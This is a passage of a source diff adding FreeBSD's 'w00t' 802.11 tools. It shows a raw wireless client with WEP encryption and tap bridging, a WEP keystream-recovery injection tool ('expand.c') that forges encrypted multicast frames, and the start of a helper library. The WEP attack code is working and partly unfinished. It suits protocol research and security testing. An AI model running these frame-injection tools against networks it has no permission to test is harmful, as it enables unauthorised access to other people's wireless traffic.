0x80; + *data++ = 11; + *data++ = 22; + + len = data - (char*)wh; + + send_frame(p, buf, len); +} + +void send_auth(struct params *p) +{ + char buf[2048]; + struct ieee80211_frame *wh; + char *data; + int len; + + memset(buf, 0, sizeof(buf)); + + wh = (struct ieee80211_frame*) buf; + fill_basic(wh, p); + wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH; + + data = (char*) (wh + 1); + + /* algo */ + *data++ = 0; + *data++ = 0; + + /* transaction no. */ + *data++ = 1; + *data++ = 0; + + /* status code */ + *data++ = 0; + *data++ = 0; + + len = data - (char*)wh; + + send_frame(p, buf, len); +} + +/* + * Add an ssid element to a frame. + */ +static u_int8_t * +ieee80211_add_ssid(u_int8_t *frm, const u_int8_t *ssid, u_int len) +{ + *frm++ = IEEE80211_ELEMID_SSID; + *frm++ = len; + memcpy(frm, ssid, len); + return frm + len; +} + +void send_assoc(struct params *p) +{ + union { + struct ieee80211_frame w; + char buf[2048]; + } u; + struct ieee80211_frame *wh; + char *data; + int len, capinfo, lintval; + + memset(&u, 0, sizeof(u)); + + wh = (struct ieee80211_frame*) &u.w; + fill_basic(wh, p); + wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ; + + data = (char*) (wh + 1); + + /* capability */ + capinfo = IEEE80211_CAPINFO_ESS; + if (p->wep_len) + capinfo |= IEEE80211_CAPINFO_PRIVACY; + *(uint16_t *)data = htole16(capinfo); + data += 2; + + /* listen interval */ + *(uint16_t *)data = htole16(100); + data += 2; + + data = ieee80211_add_ssid(data, p->ssid, strlen(p->ssid)); + + *data++ = 1; /* rates */ + *data++ = 4; + *data++ = 2 | 0x80; + *data++ = 4 | 0x80; + *data++ = 11; + *data++ = 22; + + len = data - (char*)wh; + + send_frame(p, u.buf, len); +} + +int for_me(struct ieee80211_frame *wh, char *mac) +{ + return memcmp(wh->i_addr1, mac, 6) == 0; +} + +int from_ap(struct ieee80211_frame *wh, char *mac) +{ + return memcmp(wh->i_addr2, mac, 6) == 0; +} + +void ack(struct params *p, struct ieee80211_frame *wh) +{ + if (memcmp(wh->i_addr1, p->mac, 6) != 0) + return; + + if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) == IEEE80211_FC0_TYPE_CTL) + return; + + send_ack(p->tx, wh->i_addr2); +} + +void generic_process(struct ieee80211_frame *wh, struct params *p, int len) +{ + int type, stype; + int dup = 0; + +#if 0 + ack(p, wh); +#endif + +#if 0 + if (!for_me(wh, p->mac)) + return; +#endif + /* ignore my own shit */ + if (memcmp(wh->i_addr2, p->mac, 6) == 0) { + return; + } + + type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; + stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; + + if (for_me(wh, p->mac) && type == IEEE80211_FC0_TYPE_DATA) { + /* sequence number & dups */ + if (p->seq_rx == -1) + p->seq_rx = seqno(wh); + else { + int s = seqno(wh); + + if (s > p->seq_rx) { + /* normal case */ + if (p->seq_rx + 1 == s) { +#if 0 + printf("S=%d\n", s); +#endif + p->seq_rx = s; + } + else { /* future */ +#if 0 + printf("Got seq %d, prev %d\n", + s, p->seq_rx); +#endif + p->seq_rx = s; + } + } else { /* we got pas stuff... */ + if (p->seq_rx - s > 1000) { +#if 0 + printf("Seqno wrap seq %d, last %d\n", + s, p->seq_rx); +#endif + /* seqno wrapping ? */ + p->seq_rx = 0; + } + else { /* dup */ + dup = 1; +#if 0 + printf("Got dup seq %d, last %d\n", + s, p->seq_rx); +#endif + } + } + } + } +#if 0 + if (wh->i_fc[1] & IEEE80211_FC1_RETRY) { + printf("Got retry\n"); + } +#endif +#if 0 + if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) != IEEE80211_FC0_TYPE_CTL) { + int rc = send_ack(p->tx, wh->i_addr2); + if (rc == -1) + err(1, "send_ack()"); + if (rc != 10) { + printf("Wrote ACK %d/%d\n", rc, 10); + exit(1); + } + } +#endif + + /* data frames */ + if (type == IEEE80211_FC0_TYPE_DATA && !dup) { + char *ptr; + char src[6], dst[6]; + int rc; + + if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) { + if (memcmp(wh->i_addr2, p->ap, 6) != 0) + return; + } else { + if (memcmp(wh->i_addr1, p->ap, 6) != 0) + return; + } + + + if (p->state < S_ASSOCIATED) { + printf("Got data when not associated!\n"); + return; + } + if (stype != IEEE80211_FC0_SUBTYPE_DATA) { + printf("Got weird data frame stype=%d\n", + stype >> IEEE80211_FC0_SUBTYPE_SHIFT); + return; + } + + if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) { + memcpy(src, wh->i_addr3, 6); + memcpy(dst, wh->i_addr1, 6); + } else { + memcpy(src, wh->i_addr2, 6); + memcpy(dst, wh->i_addr3, 6); + } + + ptr = (char*) (wh + 1); + + if (wh->i_fc[1] & IEEE80211_FC1_WEP) { + if (!p->wep_len) { + char srca[3*6]; + char dsta[3*6]; + + mac2str(srca, src); + mac2str(dsta, dst); + printf("Got wep but i aint wep %s->%s %d\n", + srca, dsta, len-sizeof(*wh)-8); + return; + } + + if (wep_decrypt(wh, len, p->wep_key, p->wep_len) == -1){ + char srca[3*6]; + char dsta[3*6]; + + mac2str(srca, src); + mac2str(dsta, dst); + printf("Can't decrypt %s->%s %d\n", srca, dsta, + len-sizeof(*wh)-8); + return; + } + + ptr += 4; + len -= 8; + } + + /* ether header */ + ptr += 8 - 2; + ptr -= 6; + memcpy(ptr, src, 6); + ptr -= 6; + memcpy(ptr, dst, 6); + + len -= sizeof(*wh); + len -= 8; + len += 14; + + /* send to tap */ + rc = write(p->tap, ptr, len); + if (rc == -1) + err(1, "write()"); + if (rc != len) { + printf("Wrote %d/%d\n", rc, len); + exit(1); + } + } +} + +int get_probe_response(struct params *p) +{ + char buf[4096]; + int rc; + struct ieee80211_frame *wh; + char *data; + int ess; + int wep; + char *ssid; + char from[18]; + char bssid[18]; + + rc = sniff(p->rx, buf, sizeof(buf)); + if (rc == -1) + err(1, "sniff()"); + + wh = get_wifi(buf, &rc); + if (!wh) + return 0; + + generic_process(wh, p, rc); + + if (!for_me(wh, p->mac)) + return 0; + + if (!frame_type(wh, IEEE80211_FC0_TYPE_MGT, + IEEE80211_FC0_SUBTYPE_PROBE_RESP)) + return 0; + + data = (char*) (wh+1); + data += 8; /* Timestamp */ + data += 2; /* Beacon Interval */ + ess = *data & 1; + wep = (*data & IEEE80211_CAPINFO_PRIVACY) ? 1 : 0; + data += 2; /* capability */ + + /* ssid */ + if (*data != 0) { + printf("Warning, expecting SSID got %x\n", *data); + return 0; + } + data++; + ssid = data+1; + data += 1 + *data; + if (*data != 1) { + printf("Warning, expected rates got %x\n", *data); + return 0; + } + *data = 0; + + /* rates */ + data++; + + mac2str(from, wh->i_addr2); + mac2str(bssid, wh->i_addr3); + printf("Got response from %s [%s] [%s] ESS=%d WEP=%d\n", + from, bssid, ssid, ess, wep); + + if (strcmp(ssid, p->ssid) != 0) + return 0; + + memcpy(p->ap, wh->i_addr2, 6); + memcpy(p->bssid, wh->i_addr3, 6); + return 1; +} + +int get_auth(struct params *p) +{ + char buf[4096]; + int rc; + struct ieee80211_frame *wh; + short *data; + + rc = sniff(p->rx, buf, sizeof(buf)); + if (rc == -1) + err(1, "sniff()"); + + wh = get_wifi(buf, &rc); + if (!wh) + return 0; + + generic_process(wh, p, rc); + + if (!for_me(wh, p->mac)) + return 0; + + if (!from_ap(wh, p->ap)) + return 0; + + if (!frame_type(wh, IEEE80211_FC0_TYPE_MGT, + IEEE80211_FC0_SUBTYPE_AUTH)) + return 0; + + data = (short*) (wh+1); + + /* algo */ + if (le16toh(*data) != 0) { + printf("Not open-system %d!\n", le16toh(*data)); + return 0; + } + data++; + + /* transaction no. */ + if (le16toh(*data) != 2) { + printf("Got transaction %d!\n", le16toh(*data)); + return 0; + } + data++; + + /* status code */ + rc = le16toh(*data); + if (rc == 0) { + printf("Authenticated\n"); + return 1; + } + + printf("Authentication failed code=%d\n", rc); + return 0; +} + +int get_assoc(struct params *p) +{ + char buf[4096]; + int rc; + struct ieee80211_frame *wh; + unsigned short *data; + + rc = sniff(p->rx, buf, sizeof(buf)); + if (rc == -1) + err(1, "sniff()"); + + wh = get_wifi(buf, &rc); + if (!wh) + return 0; + + generic_process(wh, p, rc); + + if (!for_me(wh, p->mac)) + return 0; + + if (!from_ap(wh, p->ap)) + return 0; + + if (!frame_type(wh, IEEE80211_FC0_TYPE_MGT, + IEEE80211_FC0_SUBTYPE_ASSOC_RESP)) + return 0; + + + data = (unsigned short*) (wh+1); + + data++; /* caps */ + + /* status */ + rc = le16toh(*data++); + if (rc != 0) { + printf("Assoc failed code %d\n", rc); + return 0; + } + + /* aid */ + p->aid = le16toh(*data & ~( (1 << 15) | (1 << 14))); + printf("Association ID=%d\n", p->aid); + + return 1; +} + +void read_wifi(struct params *p) +{ + char buf[4096]; + int rc; + struct ieee80211_frame *wh; + int type, stype; + + rc = sniff(p->rx, buf, sizeof(buf)); + if (rc == -1) + err(1, "sniff()"); + + wh = get_wifi(buf, &rc); + if (!wh) + return; + + generic_process(wh, p, rc); + + if (!for_me(wh, p->mac)) + return; + + type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; + stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; + + /* control frames */ + if (type == IEEE80211_FC0_TYPE_CTL) { + switch (stype) { + case IEEE80211_FC0_SUBTYPE_ACK: + if (p->state == S_WAIT_ACK) + p->state = S_ASSOCIATED; + break; + + case IEEE80211_FC0_SUBTYPE_RTS: +#if 0 + printf("Got RTS\n"); +#endif + break; + + default: + printf("Unknown CTL frame %d\n", + stype >> IEEE80211_FC0_SUBTYPE_SHIFT); + abort(); + break; + } + return; + } + + if (!from_ap(wh, p->ap)) + return; + + if (type != IEEE80211_FC0_TYPE_MGT) + return; + + if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH || + stype == IEEE80211_FC0_SUBTYPE_DISASSOC) { + printf("Got management! %d\n", + stype >> IEEE80211_FC0_SUBTYPE_SHIFT); + p->seq_rx = -1; + p->state = S_START; + } + + return; +} + +void read_tap(struct params *p) +{ + char *ptr; + int len = sizeof(p->packet); + int offset; + char mac[6]; + struct ieee80211_frame *wh; + + ptr = p->packet; + offset = sizeof(struct ieee80211_frame) + 8 - 14; + if (p->wep_len) + offset += 4; + + ptr += offset; + len -= offset; + + /* read packet */ + memset(p->packet, 0, sizeof(p->packet)); + p->packet_len = read(p->tap, ptr, len); + if (p->packet_len == -1) + err(1, "read()"); + + /* 802.11 header */ + wh = (struct ieee80211_frame*) p->packet; + memcpy(mac, ptr, sizeof(mac)); + fill_basic(wh, p); + memcpy(wh->i_addr3, mac, sizeof(wh->i_addr3)); + wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; + wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS; + if (p->wep_len) + wh->i_fc[1] |= IEEE80211_FC1_WEP; + + /* LLC & SNAP */ + ptr = (char*) (wh+1); + if (p->wep_len) + ptr += 4; + *ptr++ = 0xAA; + *ptr++ = 0xAA; + *ptr++ = 0x03; + *ptr++ = 0x00; + *ptr++ = 0x00; + *ptr++ = 0x00; + /* ether type overlaps w00t */ + + p->packet_len += offset; + + /* WEP */ + if (p->wep_len) { + ptr = (char*) (wh+1); + memcpy(ptr, &p->wep_iv, 3); + ptr[3] = 0; + p->wep_iv++; + + wep_encrypt(wh, p->packet_len, p->wep_key, p->wep_len); + p->packet_len += 4; /* ICV */ + } +} + +int main(int argc, char *argv[]) +{ + char* ssid = 0; + char mac[] = { 0x00, 0x00, 0xde, 0xfa, 0xce, 0xd }; + int ch; + struct params p; + char *iface = "ath0"; + char *tap = "tap0"; + int timeout = 50*1000; + struct timeval start; + + memset(&p, 0, sizeof(p)); + p.wep_len = 0; + p.wep_iv = 0; + p.state = S_START; + + while ((ch = getopt(argc, argv, "hm:s:i:w:t:b:")) != -1) { + switch (ch) { + case 'b': + if (str2mac(p.bssid, optarg)) { + printf("Error parsing BSSID\n"); + exit(1); + } + memcpy(p.ap, p.bssid, sizeof(p.ap)); + p.state = S_SEND_AUTH; + break; + + case 's': + ssid = optarg; + break; + + case 'm': + if (str2mac(mac, optarg)) { + printf("Error parsing MAC\n"); + exit(1); + } + break; + + case 'i': + iface = optarg; + break; + + case 'w': + if (str2wep(p.wep_key, &p.wep_len, optarg)) { + printf("Error parsing WEP key\n"); + exit(1); + } + break; + + case 't': + tap = optarg; + break; + + case 'h': + default: + usage(argv[0]); + break; + } + } + + if (!ssid) + usage(argv[0]); + + p.mac = mac; + p.ssid = ssid; + p.seq = getpid(); + p.seq_rx = -1; + if (open_rxtx(iface, &p.rx, &p.tx) == -1) + err(1, "open_rxtx()"); + p.tap = open_tap(tap); + if (p.tap == -1) + err(1, "open_tap()"); + if (set_iface_mac(tap, mac) == -1) + err(1, "set_iface_mac()"); + + while (1) { + /* check for timeouts */ + switch (p.state) { + case S_WAIT_PROBE_RES: + case S_WAIT_AUTH: + case S_WAIT_ASSOC: + case S_WAIT_ACK: + do { + int rc; + struct timeval tv; + int elapsed = 0; + + /* check timeout */ + if (gettimeofday(&tv, NULL) == -1) + err(1, "gettimeofday()"); + elapsed = tv.tv_sec - start.tv_sec; + if (elapsed == 0) { + elapsed = tv.tv_usec - start.tv_usec; + } else { + elapsed *= (elapsed-1)*1000*1000; + elapsed += 1000*1000 - start.tv_usec; + elapsed += tv.tv_usec; + } + if (elapsed >= timeout) + rc = 0; + else { + fd_set fds; + + FD_ZERO(&fds); + FD_SET(p.rx, &fds); + + elapsed = timeout - elapsed; + tv.tv_sec = elapsed/1000/1000; + elapsed -= tv.tv_sec*1000*1000; + tv.tv_usec = elapsed; + + rc = select(p.rx+1, &fds, NULL, + NULL, &tv); + if (rc == -1) + err(1, "select()"); + } + + /* timeout */ + if (!rc) { +#if 0 + printf("Timeout\n"); +#endif + p.state--; + } + + } while(0); + break; + } + + switch (p.state) { + case S_START: + p.state = S_SEND_PROBE_REQ; + break; + + case S_SEND_PROBE_REQ: + printf("Sending probe request for %s\n", ssid); + send_probe_request(&p); + p.state = S_WAIT_PROBE_RES; + if (gettimeofday(&start, NULL) == -1) + err(1, "gettimeofday()"); + break; + + case S_WAIT_PROBE_RES: + if (get_probe_response(&p)) { + p.state = S_SEND_AUTH; + } + break; + + case S_SEND_AUTH: + do { + char apmac[18]; + + mac2str(apmac, p.ap); + printf("Sending auth to %s\n", apmac); + send_auth(&p); + p.state = S_WAIT_AUTH; + if (gettimeofday(&start, NULL) == -1) + err(1, "gettimeofday()"); + } while(0); + break; + + case S_WAIT_AUTH: + if (get_auth(&p)) { + p.state = S_SEND_ASSOC; + } + break; + + case S_SEND_ASSOC: + printf("Sending assoc\n"); + send_assoc(&p); + p.state = S_WAIT_ASSOC; + if (gettimeofday(&start, NULL) == -1) + err(1, "gettimeofday()"); + break; + + case S_WAIT_ASSOC: + if (get_assoc(&p)) { + printf("Associated\n"); + p.state = S_ASSOCIATED; + } + break; + + case S_ASSOCIATED: + do { + fd_set fds; + int max; + + FD_ZERO(&fds); + FD_SET(p.rx, &fds); + FD_SET(p.tap, &fds); + max = (p.rx > p.tap) ? p.rx : p.tap; + + max = select(max+1, &fds, NULL, NULL, NULL); + if (max == -1) + err(1, "select()"); + + if (FD_ISSET(p.tap, &fds)) { + read_tap(&p); + p.state = S_SEND_DATA; + } + if (FD_ISSET(p.rx, &fds)) { + read_wifi(&p); + } + } while(0); + break; + + case S_SEND_DATA: + send_frame(&p, p.packet, p.packet_len); + do { + struct ieee80211_frame *wh; + + wh = (struct ieee80211_frame*) p.packet; + wh->i_fc[1] |= IEEE80211_FC1_RETRY; + } while (0); + p.state = S_WAIT_ACK; + if (gettimeofday(&start, NULL) == -1) + err(1, "gettimeofday()"); + break; + + case S_WAIT_ACK: + read_wifi(&p); + break; + + default: + printf("Unknown state %d\n", p.state); + abort(); + break; + } + } + + exit(0); +} diff --git a/tools/tools/net80211/w00t/expand/Makefile b/tools/tools/net80211/w00t/expand/Makefile new file mode 100644 index 000000000000..ffa1334c515a --- /dev/null +++ b/tools/tools/net80211/w00t/expand/Makefile @@ -0,0 +1,7 @@ +# $FreeBSD$ + +.include <../Makefile.inc> + +PROG= expand + +.include diff --git a/tools/tools/net80211/w00t/expand/expand.c b/tools/tools/net80211/w00t/expand/expand.c new file mode 100644 index 000000000000..fe3714577af4 --- /dev/null +++ b/tools/tools/net80211/w00t/expand/expand.c @@ -0,0 +1,468 @@ +/*- + * Copyright (c) 2006, Andrea Bittau + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD$ + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "w00t.h" + +enum { + S_START = 0, + S_WAIT_RELAY, +}; + +struct queue { + struct ieee80211_frame *wh; + int len; + + char *buf; + int live; + struct queue *next; +}; + +struct params { + int rx; + int tx; + + int tap; + + char mcast[5]; + char mac[6]; + char ap[6]; + + char prga[2048]; + int prga_len; + + int state; + + struct queue *q; + + char packet[2048]; + int packet_len; + struct timeval last; + + int seq; + + unsigned char guess; +}; + +int wanted(struct params *p, struct ieee80211_frame *wh, int len) +{ + char *bssid, *sa; + + if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) { + bssid = wh->i_addr1; + sa = wh->i_addr2; + } + else { + bssid = wh->i_addr2; + sa = wh->i_addr3; + } + + if (memcmp(bssid, p->ap, 6) != 0) + return 0; + + if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) { + printf("Got non WEP packet...\n"); + return 0; + } + + /* my own shit */ + if (memcmp(p->mac, sa, 6) == 0) + return 0; + + return 1; +} + +void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len) +{ + struct queue *q = p->q; + int qlen = 0; + char *ret = NULL; + struct queue *last = NULL; + + /* find a slot */ + while (q) { + if (q->live) + qlen++; + else { + /* recycle */ + ret = q->buf; + break; + } + + last = q; + q = q->next; + } + + /* need to create slot */ + if (!q) { + q = (struct queue*) malloc(sizeof(*q)); + if (!q) + err(1, "malloc()"); + memset(q, 0, sizeof(*q)); + + /* insert */ + if (!p->q) + p->q = q; + else { + assert(last); + last->next = q; + } + } + + q->live = 1; + q->buf = *buf; + q->len = len; + q->wh = wh; + + qlen++; + + if (qlen > 5) + printf("Enque. Size: %d\n", qlen); + *buf = ret; +} + +void send_packet(struct params *p) +{ + int rc; + + rc = inject(p->tx, p->packet, p->packet_len); + if (rc == -1) + err(1, "inject()"); + if (rc != p->packet_len) { + printf("Wrote %d/%d\n", rc, p->packet_len); + exit(1); + } + + if (gettimeofday(&p->last, NULL) == -1) + err(1, "gettimeofday()"); +} +#include +void send_mcast(struct params *p, unsigned char x) +{ + struct ieee80211_frame *wh; + short *seq; + struct queue *q = p->q; + char *data, *ptr; + int len; + uLong crc = crc32(0L, Z_NULL, 0); + uLong *pcrc; + int i; + int need_frag = 0; + char payload[10] = "\xAA\xAA\x03\x00\x00\x00\x08\x06\x00\x00"; + + assert(q); + + /* 802.11 */ + memset(p->packet, 0, sizeof(p->packet)); + wh = (struct ieee80211_frame*) p->packet; + wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; + wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA; + wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS; + wh->i_fc[1] |= IEEE80211_FC1_WEP; + + wh->i_dur[0] = 0x69; + + memcpy(wh->i_addr1, p->ap, 6); + memcpy(wh->i_addr2, p->mac, 6); + memcpy(wh->i_addr3, p->mcast, 5); + wh->i_addr3[5] = x; + + seq = (short*) wh->i_seq; + *seq = seqfn(p->seq++, 0); + + /* IV */ + data = (char*) (wh+1); + ptr = (char*) (q->wh+1); + memcpy(data, ptr, 3); + + if (p->prga_len == 0) { + + RC4_KEY k; + unsigned char key[8]; + + memset(&key[3], 0x61, 5); + memcpy(key, (q->wh+1), 3); + p->prga_len = 128; + + RC4_set_key(&k, 8, key); + memset(p->prga, 0, sizeof(p->prga)); + RC4(&k, p->prga_len, p->prga, p->prga); + + +#if 0 + int ptl = q->len; + char *pt; + + pt = known_pt(q->wh, &ptl); + ptr += 4; + p->prga_len = ptl; + for (i = 0; i < p->prga_len; i++) + p->prga[i] = ptr[i] ^ pt[i]; +#endif + } + + /* data */ + data += 4; + memcpy(data, payload, sizeof(payload)); + p->prga_len = 12; + len = p->prga_len + 1 - 4; + +#if 1 + if (len < sizeof(payload)) { + need_frag = len; + wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG; + } +#endif + + /* crc */ + pcrc = (uLong*) (data+len); + *pcrc = crc32(crc, data, len); + + /* wepify */ + len += 4; + for (i = 0; i < (len); i++) { + assert( i <= p->prga_len); + data[i] ^= p->prga[i]; + } +// data[i] ^= x; + + len += sizeof(*wh); + p->packet_len = len + 4; + send_packet(p); + + /* the data we sent is too fucking short */ + if (need_frag) { + memset(data, 0, len); + + /* 802.11 */ + *seq = seqfn(p->seq-1, 1); + wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; + + /* data */ + len = sizeof(payload) - need_frag; + assert(len > 0 && len <= (p->prga_len - 4)); + memcpy(data, &payload[need_frag], len); + + /* crc */ + crc = crc32(0L, Z_NULL, 0); + len = p->prga_len - 4; + pcrc = (uLong*) (data+len); + *pcrc = crc32(crc, data, len); + + /* wepify */ + len += 4; + for (i = 0; i < len; i++) { + assert( i < p->prga_len); + data[i] ^= p->prga[i]; + } + + len += sizeof(*wh) + 4; + p->packet_len = len; + send_packet(p); + } +} + +void send_queue(struct params *p) +{ + struct queue *q = p->q; + int i; + + assert(q); + assert(q->live); + + for (i = 0; i < 5; i++) { + send_mcast(p, p->guess++); + } + + p->state = S_WAIT_RELAY; +} + +void got_mcast(struct params *p, struct ieee80211_frame *wh, int len) +{ + printf("ao\n"); +} + +void read_wifi(struct params *p) +{ + static char *buf = 0; + static int buflen = 4096; + struct ieee80211_frame *wh; + int rc; + + if (!buf) { + buf = (char*) malloc(buflen); + if (!buf) + err(1, "malloc()"); + } + + rc = sniff(p->rx, buf, buflen); + if (rc == -1) + err(1, "sniff()"); + + wh = get_wifi(buf, &rc); + if (!wh) + return; + + /* relayed macast */ + if (frame_type(wh, IEEE80211_FC0_TYPE_DATA, + IEEE80211_FC0_SUBTYPE_DATA) && + (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && + (memcmp(wh->i_addr2, p->ap, 6) == 0) && + (memcmp(wh->i_addr1, p->mcast, 5) == 0) && + (memcmp(p->mac, wh->i_addr3, 6) == 0)) { + got_mcast(p, wh, rc); + return; + } + + /* data */ + if (frame_type(wh, IEEE80211_FC0_TYPE_DATA, + IEEE80211_FC0_SUBTYPE_DATA)) { + if (!wanted(p, wh, rc)) + return; + + enque(p, &buf, wh, rc); + if (p->state == S_START) + send_queue(p); + return; + } +} + +void own(struct params *p) +{ + struct timeval tv; + struct timeval *to = NULL; + fd_set fds; + int tout = 10*1000; + + if (p->state == S_WAIT_RELAY) { + int el; + + /* check timeout */ + if (gettimeofday(&tv, NULL) == -1) + err(1, "gettimeofday()"); + + el = elapsed(&p->last, &tv); + + /* timeout */ + if (el >= tout) { + if (p->q && p->q->live) { + send_queue(p); + el = 0; + } else { + p->state = S_START; + return; + } + } + el = tout - el; + tv.tv_sec = el/1000/1000; + tv.tv_usec = el - tv.tv_sec*1000*1000; + to = &tv; + } + + FD_ZERO(&fds); + FD_SET(p->rx, &fds); + + if (select(p->rx+1, &fds, NULL, NULL, to) == -1) + err(1, "select()"); + + if (FD_ISSET(p->rx, &fds)) + read_wifi(p); +} + +void usage(char *name) +{ + printf("Usage %s \n" + "-h\thelp\n" + "-b\t\n" + "-t\t\n" + , name); + exit(1); +} + +int main(int argc, char *argv[]) +{ + struct params p; + char *iface = "ath0"; + char *tap = "tap0"; + int ch; + + memset(&p, 0, sizeof(p)); + memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6); + p.seq = getpid(); + memcpy(p.mcast, "\x01\x00\x5e\x00\x00", 5); + + while ((ch = getopt(argc, argv, "hb:t:")) != -1) { + switch (ch) { + case 't': + tap = optarg; + break; + + case 'b': + if (str2mac(p.ap, optarg) == -1) { + printf("Can't parse BSSID\n"); + exit(1); + } + break; + + case 'h': + default: + usage(argv[0]); + break; + } + } + + if ((p.rx = open_rx(iface)) == -1) + err(1, "open_rx()"); + if ((p.tx = open_tx(iface)) == -1) + err(1, "open_tx()"); + + if ((p.tap = open_tap(tap)) == -1) + err(1, "open_tap()"); + if (set_iface_mac(tap, p.mac) == -1) + err(1, "set_iface_mac()"); + + p.state = S_START; + while (1) + own(&p); + + exit(0); +} diff --git a/tools/tools/net80211/w00t/libw00t/Makefile b/tools/tools/net80211/w00t/libw00t/Makefile new file mode 100644 index 000000000000..64dc51d549cc --- /dev/null +++ b/tools/tools/net80211/w00t/libw00t/Makefile @@ -0,0 +1,7 @@ +# $FreeBSD$ + +LIB= w00t +SRCS= w00t.c +INTERNALLIB= true + +.include diff --git a/tools/tools/net80211/w00t/libw00t/w00t.c b/tools/tools/net80211/w00t/libw00t/w00t.c new file mode 100644 index 000000000000..3b8df2f79f20 --- /dev/null +++ b/tools/tools/net80211/w00t/libw00t/w00t.c @@ -0,0 +1,414 @@ +/*- + * Copyright (c) 2006, Andrea Bittau + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD$ + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "w00t.h" + +int str2mac(char *mac, char *str) +{ + unsigned int macf[6]; + int i; + + if (sscanf(str, "%x:%x:%x:%x:%x:%x", + &macf[0], &macf[1], &macf[2], + &macf[3], &macf[4], &macf[5]) != 6) + return -1; + + for (i = 0; i < 6; i++) + *mac++ = (char) macf[i]; + + return 0; +} + +void mac2str(char *str, char* m) +{ + unsigned char *mac = m; + sprintf(str, "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X", + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); +} + +short seqfn(unsigned short seq, unsigned short fn) +{ + unsigned short r = 0; + + assert(fn < 16); + + r = fn; + r |= ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT); + return r; +} + +unsigned short seqno(struct ieee80211_frame *wh) +{ + unsigned short *s = (unsigned short*) wh->i_seq; + + return (*s & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT; +} + +int open_bpf(char *dev, int dlt) +{ + int i; + char buf[64]; + int fd = -1; + struct ifreq ifr; + + for(i = 0;i < 16; i++) { + sprintf(buf, "/dev/bpf%d", i); + + fd = open(buf, O_RDWR); + if(fd == -1) { + if(errno != EBUSY) + return -1; + continue; + } + else + break; + } + + if(fd == -1) + return -1; + + strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)-1); + ifr.ifr_name[sizeof(ifr.ifr_name)-1] = 0; + + if(ioctl(fd, 